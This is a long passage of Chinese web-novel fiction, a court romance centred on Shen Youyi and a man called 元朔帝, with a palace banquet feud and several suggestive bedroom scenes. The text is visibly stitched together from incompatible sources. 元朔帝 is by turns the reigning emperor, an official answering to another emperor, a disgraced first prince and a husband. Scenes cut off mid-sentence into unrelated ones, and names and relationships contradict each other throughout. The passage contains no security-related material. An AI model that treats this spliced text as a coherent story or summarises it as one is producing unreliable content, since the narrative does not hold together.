就在沈幼宜要喘不过气来时,元朔帝忽然停了下来。 他抬起头,沾满情/欲的脸悬在她上方寸许,一言不发看着她。 无声的视线在沈幼宜脸上逡巡,她被他看得愈发心虚,不自在别过脸,余光瞥见元朔帝唇上残留的润泽。 这回元朔帝没再强硬要求她回正视线,只有紊乱的呼吸与喘息声在空气中交缠。 正当沈幼宜不知如何是好,元朔帝却侧躺在床榻上,他放开她的手,改成搂住她的腰。 元朔帝嗓音喑哑:“早点睡。” 沈幼宜却毫无睡意,身体比之前更僵硬,起伏的胸口瞬间停滞。 在肢体接触间,她分明感受到他的变化,然而他停了下来。想到某种可能后,她的心沉入谷底,连呼吸都变得困难。 埋在颈窝的头忽然闷笑一声,拢住细腰的手紧了紧:“怎么抖成这样,不是说了睡觉吗?” 沈幼宜盯着纱帐顶狰狞的盘龙,艰涩道:“为什么……” 元朔帝闭着眼,安抚似的轻拍她的侧腰,温声呢喃道:“因为现在不是好时候,而且你好像没有准备好。”他的鼻尖亲昵地蹭了蹭细软的颈窝:“不着急,我们的日子还长。” 沈幼宜听见他说:“别的新娘有的,我都会给你。” 这一刻,她觉得自己卑鄙至极,恶劣至极,根本配不上元朔帝这样对她。 手边清心安神的茶是如何也喝不下去了,她倏然站起身,忽而意识到自己在媳妇面前的失态,扯出笑来:“你倒是不藏私,这是什么事也好对我说,幸亏是我,要是别人听见呢?” 沈幼宜似是受教,半是害羞半是委屈,辩解道:“我想母亲急着看我有孕,可夫君要真的有什么,这巧妇难为无米之炊,妾怕他讳疾忌医,除了母亲,实在不知能和谁说了。” 沈夫人宽抚了两句,哪还有留她说话的心思,胡乱打发人走了。 至于那些属于“二郎”的东西,自然要被重新放回去。 红麝搀扶着沈幼宜,小声道:“娘子不和夫人提一提怀思堂么,奴婢在花园山坡上悄悄望了一眼,那地方好生荒凉,位置又偏僻,看着像是没住人的样子。” “难不成是闹鬼呀?” 沈幼宜好气又好笑,点了点她的头,若有所思:“我和二郎勉强称得上青梅竹马,比他与母亲更亲热,按理说,做婆母的怎么会希望我成日缠他,可母亲反倒帮我说话,是郎君不愿意多亲近我。” 她的手无意识抚上腹部,意乱情迷时,她也曾好奇他就一点也不难受,竟还能衣衫齐整,耐心地用指腹勾勒禁处,叫她颤得不成,又得不到完全的满足。 其实她很喜欢被人强行打开时的那种窘迫羞怯,尤其那个人又是她的丈夫,不必担心别的问题。 二郎却只是笑了笑,宽慰她道:“也会有些,但盈盈晚些有孕更好。” 她的丈夫才是在这府里最方便过问这事的人。 思绪回笼,沈幼宜望向世子院落的方向:“世子眼里容不得沙子,我怀孕与否与他更没有半点关系,府里有什么事情想来也瞒不过他,你仔细看着些,一会儿夫君回来,我同他一道去见大伯。” 红麝应了一声,犹豫道:“可要是世子或者郎君有一个人回不来呢?” 这在镇国公府是常有的事情。 “那就更要去见了。” 沈幼宜长长吐出一口气,她只要想一想那种可能,虽只是万分之一,她都心惊胆颤,然而即便她想不通为什么,就这样什么都不做,那岂不是任由人欺瞒算计? 元朔帝进宫面圣前换上了官服,又用脂粉遮掩伤处,确认再三才随着红内侍走到御苑内。 皇帝正在和内阁大学士岑培英和薛无忌说起修典的事情,稍有些不耐烦,手上把玩一支新进的火器,见他过来才露出些笑模样,指着他道:“不过是要在抄写上下功夫,能有多难,朕看叫玄章给你拨队不识字的士兵,就立在那群文人身后,他们还会有这许多抱怨?” 薛无忌知道皇帝对他的做法有些不满,虽说他们确实以抄写为主,立志录入天下全书,然而这书籍编录又不是随便找个书画铺子就能印出来的东西,如果圣上允许,他还要抽出些人手核验校对书中错误,进度就更慢了。 这对抄写者的书法与学识都有要求,这些人在乡里也是有头有脸的人,虽是奉皇命入京,他们也需以礼相待,向民间彰显天子对有识之士的尊重。 但皇帝心底未必瞧得起这些人,能参与修录国家典籍,本身已经是极大的荣耀,他转向元朔帝:“玄章,你有什么看法?” 元朔帝坐在皇帝另一侧下首:“臣以为薛学士所言不无道理,然而朝中并非全无可用之人,须得大费周章在各州郡征调人手,臣想何不从那些罪臣散官里选拔出几十人来,他们上感天恩,得了这个戴罪立功,不敢不尽心。” 薛无忌与裴家有旧,在皇帝面前不好附和,他觑了元朔帝一眼,只等皇帝圣断。 皇帝沉思片刻,没说成与不成,却向薛无忌问起旁事。 元朔帝等皇帝与薛无忌等人说完话才将自己手中的折子递给内侍,同皇帝说起自己的差事。 皇帝看重文治,实际上却最喜欢带兵打仗那一套,饶有兴致地听元朔帝讲一路见闻,缓缓道:“你在浙江的时候,就没听到些什么风声?” 元朔帝起身,细思片刻,道:“有几个海匪为求活命,曾胡乱攀咬,不过是以讹传讹,他们并不知道实情。” 皇帝笑了一声,缓缓道:“有人说你包庇罪人,先斩后奏,朕想玄章也不会糊涂到这等地步。” 元朔帝笑道:“臣一家世代蒙受皇恩,父亲追随皇爷南征北战,您就是借臣十个胆子,臣也不敢与逆贼同流合污,欺瞒圣上。” 皇帝“唔”了一声,似是想起当年往事,感慨道:“你家二郎也实在可怜,我当初就说叫他把沈氏提前转走,你爹也是天生的犟骨头,偏怕打草惊蛇,最后就剩下你这一枝独苗。” 天子放松的时候不大计较尊卑称呼,只是提起太子,元朔帝的笑意渐敛,他垂眸道:“天灾人祸,皆不由人,所幸臣已经将他寻回,只要安心调养,不日就能痊愈。” “只怕未必。” 皇帝觑他一眼,这孩子打小就是这正经模样,少言寡语,像个夫子,但今天怎么看怎么惹人发笑。 他与先皇后有几次想替他说娃娃亲,小时候不大讨喜,板起脸来能吓跑过好几家姑娘,等长大了又不愿成家,他让三个道士算过命,说这人是命犯华盖,贵而晚婚,索性随他。 可晚也就罢了,怎么能歪到他弟妇身上去。 “一日夫妻百日恩,沈家那个女儿还给他,日子也过得下去?” 元朔帝面色微变。 皇帝乐得瞧他这副神情,嗤笑一声:“夫荣妻贵,你才吃得上几口肉,就敢惦记着拉扯那一家子,沈儇犯的是什么罪,你不清楚?” 元朔帝呼吸一重,正要别过眼去,本来气息平稳的女郎却咯咯笑了起来,揽住他亲了一记。 “郎君,我就知道你在装睡!” 他先一步被人点破心思,微微怔住,旋即有些羞窘,出声责备道:“……盈盈,你是故意的。” 她同太子年龄相仿,此刻与他要好,也不过是因为只见过他一个男子,只能紧紧依附天子,极容易被哄骗。 若再与同龄郎君相处,或许会生出些别的心思。 “他更像他的母亲。” 元朔帝抚了抚她的鬓发,浅浅一笑,目光落在她的腹部:“宜娘自己又不是不能生,何必将这份爱子之心寄托在旁人身上。” 他就在这里,容不得她在更年轻的储君身上寻找影子,沈幼宜应了一声,如水中藻荇,柔柔攀附在他身上,她肌肤丰盈如雪,便是元朔帝见惯了,一时也会恍惚,意动心摇。 “那我现在给您生一个好不好呢?” 她建议得很真诚,教人以为她不会生出什么不堪的想法:“省得您总来硌人,我早上睡得一点也不安稳。” 元朔帝失笑,她这样磨人,竟还好意思怪他定力不佳,亲了亲她面颊,含笑道:“宜娘知道怎么生么?” 第 46 章 第 46 章 太子距离天子的车驾并不算近,但当马车停下的那一刻,四周寂然无声,他不是没成过婚的毛头小子,陈容寿猜,这位储君应当是听到了些什么。 可但凡这位殿下聪明些,就应该将头低下去,装作若无其事,而不是露出震惊神色,几乎想透过那数重帘幕,窥探帝王的隐私。 营中并未接到为贵妃另设营帐的命令,天子骤然回宫,太子虽摸不着头脑,却也只当是忽然来了要紧的事情,得知圣驾返还,立刻出营十里迎接,可不曾想,却听到了父亲喑哑低沉的声音,像是被哪位山精所诱,失态得猝不及防。 他难以想象车中发生的旖旎,尽管所有人都清楚,这齐整而肃静的仪仗簇拥着的马车里,到底藏着怎样的活色生香。 但不出意外,车中在他父亲怀中承恩的女子就是他的宜娘。 他那君威难测的父皇急行回宫,难道就是因为想要将宜娘带到他身边来吗? 太子生出一阵心酸,宜娘的柔情与妩媚原本是属于他的,此刻他们隔了一道帘幕,避免了相见的尴尬,他知道自己应当低下头去,像身侧的侍卫一样装聋作哑,可他的耳朵在此刻意外的好用。 他听到男女交谈与衣料滑动时的窸窸窣窣,隐约有拍打的声响。 沈幼宜坐在元朔帝膝上,直面着他,面上生出一点委屈。 她都这样了,元朔帝还是只顾着和太子说话,她才攀上他,就被不轻不重地打了一下。 元朔帝微愠,低声道:“孩子面前亲近,像什么话!” 尽管这个孩子的年岁与她差不多大,元朔帝也要她尽快适应做长辈的身份:“你也不怕子惠听见看见?” 沈幼宜惊讶道:“您要殿下上来么?” 宴会进入到中场,气氛逐渐热络起来,花枝招展的女眷们各显神通,博人眼球。 沈幼宜眼观鼻,鼻观心地默默看着眼前的一亩三分地,面对案几上各色琳琳的美味佳肴兴致寥寥。 午膳前她被右想单独带到一间厢房,拿出左思给的牛肉干。 牛肉用辛辣的大料熬制后风干,遇水尤为饱腹,她吃了好几块,眼下一点也不饿,说不准真能撑到回西巷口陪元朔帝用夜宵。 沈幼宜像个哑巴泥塑似的端坐着,极力降低自己存在感,但元朔帝妻子这层身份实在惹人注目,落在她身上打量的目光从未断绝。 然而到底没人敢上前挑衅找茬,一场宴会风平浪静地度过。 午宴到晚宴这段时间,宫里给安排休息的地方,沈幼宜正要回房,恭王妃派人来请。 “来了。”恭王妃见到沈幼宜,和蔼可亲地招手:“过来坐。” 沈幼宜在宫内举目无亲,恭王妃是右想认证过的可信之人,她这般热情和煦着实安抚了沈幼宜忐忑的心。 恭王妃打听元朔帝近况如何,沈幼宜捡了一两件有趣的事儿说,逗得恭王妃笑容满面,眉宇间淡淡的忧愁都散了不少。 一来二去,两人熟稔起来,恭王妃拉着沈幼宜的手夸道:“你的手真漂亮,陪他在西巷口受苦了。” 沈幼宜轻笑道:“殿下人很好,怎能说得上是受苦,多少人连羡慕我都还来不及。” 恭王妃虽不耐与人勾心斗角,但看人的眼光精准无比,沈幼宜说的话是真心还是假意逃不过她的眼睛,察觉出她待元朔帝的一片真心后笑容更甚。 她意味深长道:“你是个好孩子,福气在后头。” 沈幼宜笑笑,“借王妃吉言。” 恭王妃看着面如桃花,姿容娇俏的美人,忽然叹道:“若是本宫的昭儿还活着,如今也该到了娶妻生子的年纪。” 沈幼宜握住恭王妃的手,温柔笑道:“王妃此言差矣,世子说不准已然娇妻幼子在侧,只不过在您不知道的地方罢了。” “你这孩子,真会安慰人。”恭王妃那点愁绪还没升起便被她打散。 她笑着闲聊起来:“若不是明斐的嘴和李贵嫔一模一样,我都要怀疑是不是有人偷龙转凤。你说怪也不怪,打我看到他的一眼就格外喜欢他,简直跟自己亲儿子没什么区别……” 世上再没有人比沈幼宜更懂恭王妃对元朔帝毫无理由的偏爱。 有一个长得像自己心尖上的人站在面前,如何能忍得住不接近他。 恭王夫妇偏疼元朔帝,大抵和她一样是补偿心理,逝去的人未能享受到的东西,尽数弥补在替代之人身上,企图从他身上找寻一丝虚无缥缈的慰藉。 恭王妃打心眼里喜欢沈幼宜,看似柔弱不堪实则谨慎心细,从今早上的碰面就能看出她并非蠢笨之人。 “等有机会带你见见王爷。”恭王妃感叹道:“我的幺儿倒是一点不像他父亲,反倒是他们叔侄俩站一起没人会怀疑他们不是亲父子。” 沈幼宜打趣道:“这也是缘分。” “可不是。”恭王妃道:“明斐和你一样是个好孩子,只不过……” 恭王妃脸色渐冷,后面的话骤然止住。 沈幼宜懂事当作没听见。 陪着恭王妃聊天的工夫,转眼屋外的天蒙上一层灰色。 晚宴本应该是皇帝与皇后一同出席,临开宴前,皇帝派人来传话说有事耽搁,让皇后先奏乐开席,他晚些时候到。 皇后闻言脸色扭曲了下,很快又恢复端庄矜贵的浅笑。 一切暗潮涌动埋藏在歌舞升平之下。 沈盈丹起初碍于沈皇后的威慑不敢造次,在看见沈幼宜一身皇子妃礼服后已有隐隐压不住的趋势,而压倒她的最后一根稻草是旁边人无意的一句话。 “这位名不见经传的沈府二小姐容貌一点也不比沈大小姐差,清丽妩媚,楚楚动人,和大皇子也算相配。” 哪里配! 一个穿上锦缎华服的草包,也敢妄与元朔帝这般云端明月比肩,实在是自不量力。 沈盈丹攥紧手中锦帕,看向沈幼宜的眼神如同猝了毒般阴寒。 在场上宫婢们献舞一首后,沈盈丹猛地起身,一下子引起众人的注意。 她语出惊人:“皇后大寿,普天同庆,大皇子自小养在您身边却无法亲自来给您贺寿,大皇子妃身为您的媳妇儿,不如表演一番以表孝心。” 在场的人同时屏住呼吸,目光不约而同地在沈幼宜、沈盈丹和皇后三方身上逡巡,既好奇又幸灾乐祸。 皇后的笑淡了下去:“大皇子妃送的礼物极为用心,本宫很满意。” 沈盈丹胸口一窒,气恼连姑姑都帮沈幼宜,不依不饶道:“物是死的,哪里比得上亲自献艺。诸位小姐们都做的,怎地她做不得?” 沈夫人去拉沈盈丹,被她甩开。 沈皇后脸上已经完全没有笑容,眼里透着不耐烦,恨不得当场叫人拖她出去。 沈幼宜自然不会接话,她只是个微不足道的小人物,头愈发低垂。 沈盈丹却把她的息事宁人当成心虚畏惧,愈发肯定只要沈幼宜一站出来,就会原形毕露。 “从前在沈府,妹妹惯会讨喜卖乖,怎么现在跟哑巴一样。”沈盈丹故意以姐妹相称:“难不成现在成了大皇子妃,不愿意纡尊降贵,博皇后娘娘一笑。” 这般直白冲着沈幼宜来,她不得不回应。 然而恭王妃率先发难:“沈小姐,这里是皇宫,不是你的沈府。皇后娘娘疼爱你,不以殿前失仪治你的罪,你不但不知感恩,还三番五次出言不逊。大皇子妃是上了玉碟的皇室宗妇,排辈论资你见到她该称一声娘娘,你如何敢质问于她!” 说罢一拍桌子,出尘的容貌染上三分寒意,惊得所有人目瞪口呆。沈幼宜与其他人一样震惊于他的突然出现,还没回过神,人已经被护送进东宫,元朔帝曾经的寝殿内。 恭王妃自从长子离世,终日郁郁寡欢,不问世事。参加宫宴就像一尊漂亮的花瓶,游离于人群之外,像超凡脱俗的仙女似的从不与人攀谈,点个卯就早早离席,更不要说与人逞口舌之快。 今日一反常态,令人咋舌称奇,不过一想到她与大皇子之间的关系,又明白几分。 大抵是爱屋及乌。 气氛凝滞间,一声威严的唱喏打破僵局。沈幼宜从马车上下来那一刻,周围人的目光瞬间集中在她身上,有好奇的,有可怜的,还有嫉妒中掺杂着幸灾乐祸的,她一概视而不见。 一路走来,没有一个人敢上前搭话,看她宛如洪水猛兽般敬而远之。 引路的小太监更是缩紧脖子压低头,唇角跟粘住似的一个劲往前赶路,惶然的模样生怕和沈幼宜牵扯上一丝关系。 宫内上下谁人不知大皇子已遭厌弃,从前在东宫服侍他的太监宫女不是无故死了,就是被罚到偏远的浣衣局做苦力、亦或者做那最下贱肮脏的夜香郎。 虽然陛下还未下旨问罪,可明眼人心里都明白,这层窗户纸就差那么一下便要被戳破,现在大皇子就是个烫手山芋,谁碰谁遭殃。 沈幼宜面对冷遇与疏远不卑不亢,自个儿抱住装好的贺礼跟在后面,除了元朔帝的画,她仍是拿了那顶点翠掩鬓当作添头。 画这种东西,既可以说礼轻情意重,也可以说敷衍不重视,现下元朔帝不得圣心,评判的话语权在别人手里,而手里的顶点翠掩能为他上一道保险。 她自己这辈子没机会再用,留着只能徒增伤感,不如做个顺手人情送出去。 小太监急急把她引到内苑宫门,头也不回地跑了。 沈幼宜虽担了大皇子妃的名头,却是圈禁之人,西巷口只有她一人能出来,身边没有伺候的宫女,眼下孤身一人犯了难。 她从没进过宫,眼前的路弯弯绕绕,曲径错落看不出通往何方,同行的女眷们选的路各不相同,似乎她们的归处也不是同一个。 “沿最右侧的路走,午宴的地点就在那。” 沈幼宜闻声转头,一貌美妇人云鬓高挽,正慈眉善目看着她。 “谢夫人指点。”沈幼宜感受到她的善意,后退一步福了个身。 貌美妇人笑意更甚,看见她手里抱着沉甸甸的东西,示意贴身婢女帮她拿,沈幼宜正要推拒,迎面走来一清秀宫女。 “奴婢右想见过恭王妃,大皇子妃。”她想接过沈幼宜怀中之物被拒,面不改色道:“我是您今日的接引宫婢,方才有事耽搁了一会儿,请您恕罪。” 听到这个名字,沈幼宜怔愣片刻,元朔帝身边的贴身太监叫左思。 恭王妃立刻替她解惑:“她之前是东宫大宫女,由她接引你再好不过。” 沈幼宜的手依旧没松。 恭王妃看出她还是有些紧张,向她投去安抚的目光,转头对右想道:“既如此,那就交给你了,有什么棘手的事可去寻我。” 最后那句话是看着沈幼宜说的,沈幼宜心口微暖,颔首微笑以示感谢。 等人走远后,右想上前一步低声道:“大皇子妃这边请,午宴还未开始,奴婢带您先去歇息。” 沈幼宜站着没动,温和的表情中带着冷淡疏离。 她人生地不熟,眼前的人虽然被那位称之为恭王妃的贵妇人盖棺定论是元朔帝身边的人,可这不代表她会全信。 深宫复杂,谁也不知道这是不是她们自导自演的一出戏,青梅的事让她不得不多虑,尤其是在皇宫,稍有不慎便危在旦夕。 她虽没有本事让元朔帝洗刷罪名,却也不能成为别人对付他的借口。 右想见沈幼宜警惕的眼神,既欣赏她的谨慎,又敬佩殿下的料事如神,趁人不注意往沈幼宜手里塞了个纸条。 跟她走。 沈幼宜认出是元朔帝的笔迹,心里震惊他居然能对外传消息,要知道陛下派了重兵镇守西巷口,任何人进出都得层层检查,就算是一片枯叶也甭想跨过那道大门。 然而她脸上看不出表情,将手里的东西递过去给右想,随后闭口不言跟她往里走。 话分两头,作为沈皇后的亲侄女,沈盈丹一早就先到中宫去给姑姑祝寿,她嘴甜,各种好话往外说,惹得皇后笑不拢嘴。 “你一大早又是给本宫梳妆,又是伺候早膳,小嘴跟灌了蜜似的。说罢,只要要求不过分,本宫一概应允。” “姑姑对我最好了!”沈盈丹眼里精光一闪:“听说今日有不少贵女为博您一笑准备了节目,大皇子妃作为儿媳,也该彩衣娱亲,以表孝心。” 沈幼宜跟在她身边多年,肚子里有什么货她一清二楚。沈府的小姐除了她精通琴棋书画,其余庶女们只请了落榜秀才教认字。 沈夫人怕她们学的多,心变大,不好控制,三令五申不允许她们读除了《女诫》、《女训》一类的书,最多学学女红,点心之类的技巧。 沈幼宜有个常年病重的生母,她比旁人多通晓几分药理和揉捏之术,但她总不能当场表演伺候人的本事吧。 沈皇后笑意淡了下去:“丹儿,现在正是多事之秋,你何苦沾染他的事。沈幼宜到底算我沈家人,她出丑对你有什么好处。” 元朔帝在沈皇后跟前养了二十余年,她提起来时没有半分情感,眼里满是厌恶鄙夷。 沈盈丹却不放弃,她被那四个字折磨夜不能寐,几欲发狂。她现在只想向元朔帝证明沈幼宜是个一无是处的草包,无貌无才,根本不值得他喜欢。 她眼里的嫉恨几乎凝为实质,化为利刃刺向沈幼宜。 从前在沈府,沈幼宜瘦瘦弱弱的,整日穿缟素衣裳,梳着厚重的头帘挡住半张脸,说话做事也总是躬身低头,非常容易被忽略。 而今日她露出光洁的额头,眼眸如含秋水般潋滟,眼波轻轻一转,便教人无端心生怜意。 一想到她整日顶着这张故作犹怜的面孔在元朔帝面前晃荡,勾得他说出那样的话,沈盈丹气不打一处来,完全忘记沈皇后的警告。 沈幼宜面对诸多神色各异的目光镇定自若,稳步走向自己的位置。 她今日的任务是平平安安地度过寿宴。 这场小宴除了贺寿,还有替适龄皇子相看正妃的用意。 是以诸位贵女铆足了劲想攀上皇家登云梯,变着法在皇后和皇子生母面前展现自己的才艺与德容。 沈幼宜作为人妇,与其余宫妃,诰命夫人坐在上列,恭王妃恰好在她对面。 她面容淡雅如菊,不苟言笑,有种鹤立鸡群的孤傲。 金钗步摇,华服厚裳也压不住她身上的清丽脱俗,眉宇间透出一股书卷的清气。 偶然间撞上沈幼宜的视线,莞尔一笑,犹如清水芙蓉般纯然。 谁人不知恭王妃最擅画竹,皇帝也曾称赞她的竹高风亮节,鹤骨松姿。 果然,皇帝笑道:“你的竹有几分恭王妃当年的神韵。” 皇后恨不能立刻撕碎这张纸,她强忍着怒意,转头瞥见皇帝目光柔和看向恭王妃,再也忍不住胸口翻滚的嫉恨,借机发难道:“竹乃空心之物,大皇子妃是在暗示本宫无心无情,置大皇子于不顾么!” 沈幼宜愣了下,连忙跪下请罪:“儿臣绝无此意。” 皇后冷笑道:“是不想,还是不敢。” 忽然一道不该出现的声音骤然响起。 “母后不满意她的画,不如告诉儿臣喜欢什么,我来替她画。” 温和的嗓音不重,却如在沸油里泼了一捧水。 元朔帝大步流星走到沈幼宜身边,拉住她站起来。 到了夜间,足可以笼罩整座宫殿的纱帐形成了一道柔软的墙,泛着粼粼波光。她可以在几个属于他的寝居内更衣沐浴……哪怕两人实则已做了许久夫妻,完全不必如此害羞。 沈幼宜双颊微红,即便是有些不大方便,可随天子而居,在外人眼里不是她离不开元朔帝的照拂,而是……皇帝已然到了没有贵妃陪伴不行的宠爱。 且这样一来,元朔帝再想召臣下入内商讨国事,怎么也避不开她。 她伸手揽住天子颈项,在他面上极重地亲了一下,抱怨道:“我哪里是在意这个。” 面上沾了些润泽芳香的口脂,元朔帝并不急着擦去,耐心道:“朕猜的不对,那宜娘心里还在意什么?” 沈幼宜可怜巴巴地看着他:“陛下生得这样好,要是隔着几座宫殿,我亲近不得也就罢了,可同柳下惠同床,不是教人瞧得到又吃不到么?” 她如今对做夫妻之后能做的事情有着浓厚的兴趣,面对这双天真纯净的眼眸,元朔帝的心忽而柔软下来。 她不知道从前两人的疯狂,也不明白她这样发馋,其实也有他的不是。 往昔他放纵着自己与她痴缠,宜娘那时的年岁更小,容得更为艰难,往往将她送上一次巅峰后,便刻意延缓着那种滋味,吊得人不上不下,才尽数与她……但不出来。 哪怕她已经疲累得懒动一下手指,也会耐不住身体的渴,再度翻身上来,在他身上胡乱地蹭来蹭去,试图寻觅一点安慰,眼巴巴地望着他,盼着能再来一回。 有时候他会给,有时候却只装不知,明明瞧着她几乎急哭了,抚着她哄到入睡,到了第二日清晨,她歇过那口气觉得委屈丢人,当然会想着法子引起他注意,而后主动服侍。 他循规蹈矩,却爱看她被欲折磨、终日惦记着那榻上的欢愉,仿佛是她对年长天子爱意的一种印证。 尽管他不那样年轻,但宜娘的身体是那样热情地喜欢着他。 沈幼宜见他态度虽然温和,但是坚决不肯在这上让步,也只得松开手,由着天子去忙碌。 她车马劳顿,夜里沐浴后很快就进入了梦乡,不知道元朔帝是何时回来的。 第 47 章 第 47 章 沈幼宜眨了眨眼睛,她面前的男子已变了面色。 元朔帝握住她的手,见她眼中只有好奇,少了些害怕恐惧的意味,温声道:“宜娘,你是又忘了……我吗?” 沈幼宜想到他夜里不肯教她称心如意,故作惊讶道:“原来的我也时常忘记事情么?” 她坐起身来,摸了摸自己散乱的头发衣裳,见对方毫不退让地直视着自己,没有开口呵斥他不知羞,反而小心翼翼地掀开被子,避着他偷偷看了一眼自己的身体。 元朔帝面上尽可能平静地观察着她的一举一动,直到她自己开口,问他:“我们不是野鸳鸯罢?” 他已然不能被她的天真逗笑,冷淡道:“当然不是。” 沈幼宜莞尔,似松了一口气道:“那就好,我还当你是……” 话音未落,元朔帝接口道:“是翻墙而来的登徒子。” 她讶然道:“你好厉害呀,是精通读心术么好?” 元朔帝并不为美人的恭维而舒心,紧紧握住她的手,柔声道:“是这样的,我还知道宜娘病了,所以教人给你请了几个大夫。” 沈幼宜从右想嘴里得知,恭王一家与元朔帝渊源颇深,他的丹青妙手是恭王妃亲自教出来的,他的武艺剑术得了恭王真传。 恭王一家对元朔帝另眼相待,据说是因为他长得很像恭王夫妇早夭的长子。 “陛下驾到——” “姑姑,你就答应我吧。”沈盈丹拉着沈皇后的手,撒娇道:“我回去后保证不再闹了,乖乖嫁给五皇子。” 沈家放弃元朔帝,转而扶持另外的皇子。但五皇子肥头大耳,脑袋比肚子还空,又是个好色之徒,房里无名无分的宫婢一大堆,还未加冠已然透出老态。 原本沈盈丹还能说服自己,至少她还有未来皇后的尊荣,然而那日见到清隽俊朗,风采依旧的元朔帝后,她再次失衡。 心里埋怨沈皇后放弃元朔帝,她明明可以有这样一个文武双全,温润如玉的夫君。 沈皇后既然能靠沈家稳坐皇后之位,怎么就不相信她也能制衡元朔帝。 她不死心地问:“姑姑,难道大皇子真的没有翻身的机会了吗?” 沈皇后恨铁不成钢地看着自个儿侄女,若不是沈家没有适龄的嫡出女儿,哪里轮得上她。多年悉心教导全都进到狗肚子里,被元朔帝一张脸勾得五迷三道,什么话都敢往外说,险些酿成大祸。 她也不想想,连皇帝都不得不兵行险着打压他,可见对他忌惮之深。 为了防止元朔帝策反,看守西巷口的将领特地选了严珩一过命的兄弟。元朔帝将晕在怀里的人打横抱起,轻放在榻上。 沈幼宜双眼睛紧闭,黑睫濡湿一片,大片的泪迹覆满双颊,看上去伤心至极。 元朔帝眼眸黑沉,一动不动凝视着梨花带雨的睡容,心中疑云丛生。 沈幼宜今日的举动实在太反常,她看他的眼神过于专注热烈,让元朔帝有种不真实感。 她在看他,又好像不在看他。 细细数来,元朔帝有这种怪异的感觉不是第一次,最初能追溯到大婚当夜。 当时他进去前在屋外观察了片刻,沈幼宜端坐于床榻边,背脊挺直,并没有因屋内无人而颓懒放纵。 他对她的第一印象是耐得住性子,态度不卑不亢,让人挑不出错。然而在看到他的脸时,她却不同寻常地分寸大乱,导致掉落手中的团扇,几次都未捡起。 最后她以怕黑为由搪塞过去。 彼时元朔帝压根不在乎她的想法,甚至不确定会让她活到几时,对于这种小事自然懒得深究。 第二次有同样的古怪感是在教她作画,沈幼宜既能画好人物外形,却偏偏不肯画脸…… 元朔帝眉头紧皱,陷入沉思。 流光锦柔软贴肤,胸前布料被泪水晕开后勾勒出遒劲有力的肌肉线条,平添几分渗人的压迫感。 衣服虽然没有任何绣纹,但针脚细密,两块布料拼接之处采用的是一种极为复杂的藏线针法,针线交替穿过两块布料,缝合之后看不出明显的线迹,能够避免线头磨到肌肤。 与之对应的则是需要耗费大量的时间精力,就这样一件简单的寝衣一个熟练的绣娘也需要七日方能制好,而沈幼宜只用了三日。 元朔帝瞥见她眼底淡淡的青黑,几不可察地叹了口气。 罢了,等她醒来再做决断。 希望是他太多疑。 沈幼宜刚恢复意识,整个人迷迷糊糊的,深呼吸半晌才勉力掀开眼帘。 帐顶看不清颜色,但她仍然第一眼认出这里不是自己的厢房,屋内晦暗不明,右前方隐约有一点光亮。 沈幼宜的视线寻光而去,临窗案几上燃了一盏烛芯微露的宫纱灯,元朔帝坐在旁边的太师椅上,右手肘撑在扶手上,正以手支额闭目养神。 微弱的光晕刚好笼住他的上半身,照在他重新换回早上穿的月牙白圆领长袍上,他身后四周皆是黑黢黢一片,有种光即将被暗吞噬的压抑窒息。 沈幼宜艰难眨了眨眼,这一觉从青天白日睡到月上中天,现下四肢酸痛,浑身疲乏无力,思绪僵住无法思考。 整个人像是做了场虚空大梦般茫然,如今回到现实,好半天才回过神,沈幼宜扶着床檐挣扎起身,手指刚按在硬质的梨花木,钻心的疼瞬间让她颓然跌了回去。 她一有动静,元朔帝立刻睁眼。 他眼神清明,毫无刚睡醒时的惺忪懒态。 “醒了。”元朔帝起身快步趋至床榻前,顺势坐上来,体贴拿过一旁的海宜团花迎枕垫在沈幼宜身后,语气略有责怪:“太医说你劳累过度,精神不济。我不是叫人告诉你不用这么赶吗?” 沈幼宜垂下眸,声若蚊蝇道歉:“劳殿下忧心,是我的错。” 元朔帝的手攫住小巧光洁下颌,迫使她抬头,他面容和煦,目光却带着令人悚然的审视。 “你我之间,何须这般客气。”略带薄茧的拇指按在沈幼宜泪痕残留的眼尾,不轻不重地摩挲着,指尖温热有力,透着安抚之意。“早上怎地哭成那般模样,是有人给你受委屈了?” 然而沈幼宜的心毫无被抚慰之感,只觉得这手似扼住自己的咽喉,令她喘不上气。 她的心骤然一紧,就算她早已预料到自个儿怪异的举动会引起注意,元朔帝会问她不足为奇,但真正被质问的瞬间还是忍不住惊慌起来。 他语气温和,神情煦然,担忧之色显而易见,然而沈幼宜心里的惶然不减反增,甚至有种心惊肉跳之感。 元朔帝有没有发现她恶劣卑鄙的私心? 一想到这种可能,沈幼宜不知不觉屏住呼吸,身体僵直一动也不敢动,束在胸前的绫布勒得胸口疼。 殊不知她的慌乱无措全数落入对面人眼中。 元朔帝眼眸半眯,脸色却愈发柔和,他语气开玩笑似的问:“难不成是因为给我做衣服,累得委屈了?” 唇角扯出一条微微上扬的弧度,细究眼里却没有半点笑意。 其实沈幼宜完全可以顺着他的话说下去,说自己被针扎疼了。 为了赶制这件寝衣,她的十个手指不知被扎了多少次,最疼的时候连筷子都握不住,只能以瓷勺进膳。 元朔帝宽厚温良,温柔体贴,若是她装可怜一定不会被追根究底,他说不准还要反过来自责。 然而沈幼宜实在说不出口,打着为他制衣的幌子已经够卑劣,叫她如何还能把这份辛苦算在他的头上,冒领功绩。 “我……”甫一开口,她便感受到捏住下颌手指倏地收紧。 沈幼宜强忍着胸口不适道:“我见到殿下穿上这身衣服,心里欢喜。说来让您见笑,从前我在闺中时,也曾想过日后会嫁一位怎样的夫郎,大婚又会是如何喜庆,亲朋好友夹道相送,手帕姐妹添妆送福。可惜婚礼匆忙,喜服盖头没来得及亲自准备,现在只能用寝衣替代一二。“ 大虞的新娘会亲手在这两样东西上缝制图案,有手巧的还会帮新郎的吉服也添一份力,寓意不分你我,情谊久长。 更有感情深厚的,便是连贴身衣服都会亲自缝制,以示亲密无间。 沈幼宜的母亲有一双巧手,绣艺无双。母亲家曾是南边的丝绸大户,从小请了最好的绣娘教导技艺,但凡叫得出来名号的针法都娴熟于心,追求者如过沈之鲫。 若不是后来家道中落,她也不会被人送到沈家做妾。 她从小跟在母亲身边学习,在最艰难的日子里,她们娘俩靠着这手绣活儿夹缝求生。 元朔帝黑眸如渊,手指纹丝不动:"这么紧张做什么,我不过随便问问。” 沈幼宜可不敢随便回答,她顶着巨大的心理压力直视他的眼睛,七分真三分假:“我好像也不能免俗,别的新娘有的东西,我都想要。” 元朔帝见她眼中的黯然不似作伪,心中对这番说辞信了几分。 大婚对于女子来说是一生中最重要的事,没有人不希望自己的婚仪风光浩荡。 元朔帝手指微松:“是我对不住你。” 